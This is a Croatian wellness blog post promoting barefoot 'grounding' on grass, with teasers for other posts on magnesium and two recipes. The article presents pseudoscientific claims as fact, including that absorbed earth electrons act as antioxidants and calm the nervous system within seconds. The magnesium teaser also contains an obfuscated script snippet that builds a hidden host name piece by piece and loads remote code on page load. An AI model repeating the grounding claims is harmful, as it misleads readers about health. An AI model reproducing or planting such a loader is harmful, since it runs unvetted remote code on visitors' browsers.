ZAŠTO HODATI BOS PO TRAVI?





Zašto hodati bos po travi?




Koncept uzemljenja temelji se na ideji da Zemlja ima blagi negativni električni naboj i bogata je slobodnim elektronima. Kada naša koža dođe u izravan kontakt s tlom, dolazi do prijenosa tih elektrona u tijelo, što pomaže u neutralizaciji slobodnih radikala.






Instantno resetiranje živčanog sustava
Suvremeni stres drži naš simpatički živčani sustav (onaj odgovoran za reakciju "bori se ili bježi") u stalnoj blagoj pripravnosti. Prohodati bos nekoliko minuta po travi djeluje kao kočnica za taj proces. Istraživanja pokazuju da kontakt s tlom u roku od samo nekoliko sekundi mijenja električnu aktivnost u mozgu i prebacuje tijelo u parasimpatički mod - stanje opuštanja i obnove.



 
Smanjenje mikro-upala u organizmu
Kronične upale niskog intenziteta temelj su većine modernih bolesti i stalnog osjećaja iscrpljenosti. Slobodni elektroni koje apsorbiramo s površine Zemlje djeluju kao prirodni antioksidansi. Oni neutraliziraju pozitivno nabijene slobodne radikale koji uzrokuju upale, čime se ubrzava oporavak mišića i smanjuje osjećaj boli u tijelu.


 

Prirodni ortopedski trening
Ljudsko stopalo je remek-djelo evolucije s 26 kostiju i stotinama mišića i ligamenata. Moderna obuća, koliko god udobna bila, djeluje poput gipsa i fiksira stopalo i slabi njegove mišiće. Hodanje bez obuće po neravnom terenu (poput trave ili šljunka) aktivira sitne mišiće stabilizatore, poboljšava ravnotežu, popravlja držanje i stimulira tisuće živčanih završetaka na tabanima.



 
Kako izvući maksimum iz ove navike?
Za uzemljenje vam ne treba nikakva pretplata, skupa oprema ni puno vremena. Dovoljno je usvojiti nekoliko jednostavnih navika:
  • Pronađite čistu površinu: Najbolja je prirodna, vlažna trava (voda poboljšava vodljivost), čista zemlja ili pijesak. Izbjegavajte tretirane travnjake u blizini velikih prometnica.
  • Krenite polako: Ako su vaša stopala godinama bila zatvorena u cipeli, koža i mišići su osjetljivi.
    Počnite s 10 do 15 minuta lagane šetnje dnevno, pa postupno produljujte vrijeme.
  • Spojite ugodno s korisnim: Iskoristite jutarnju kavu ili pauzu za ručak. Izujte se, stanite na komad zelenila iza kuće ili u parku i jednostavno budite prisutni u tom trenutku.
Usvajanje ovog trenda ne znači da morate postati pustinjak koji hoda gradom bez obuće. Riječ je o svjesnom izdvajanju desetak minuta dnevno za ponovno povezivanje s prirodom. Vaša stopala, ali i vaša razina stresa, bit će vam zahvalni.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više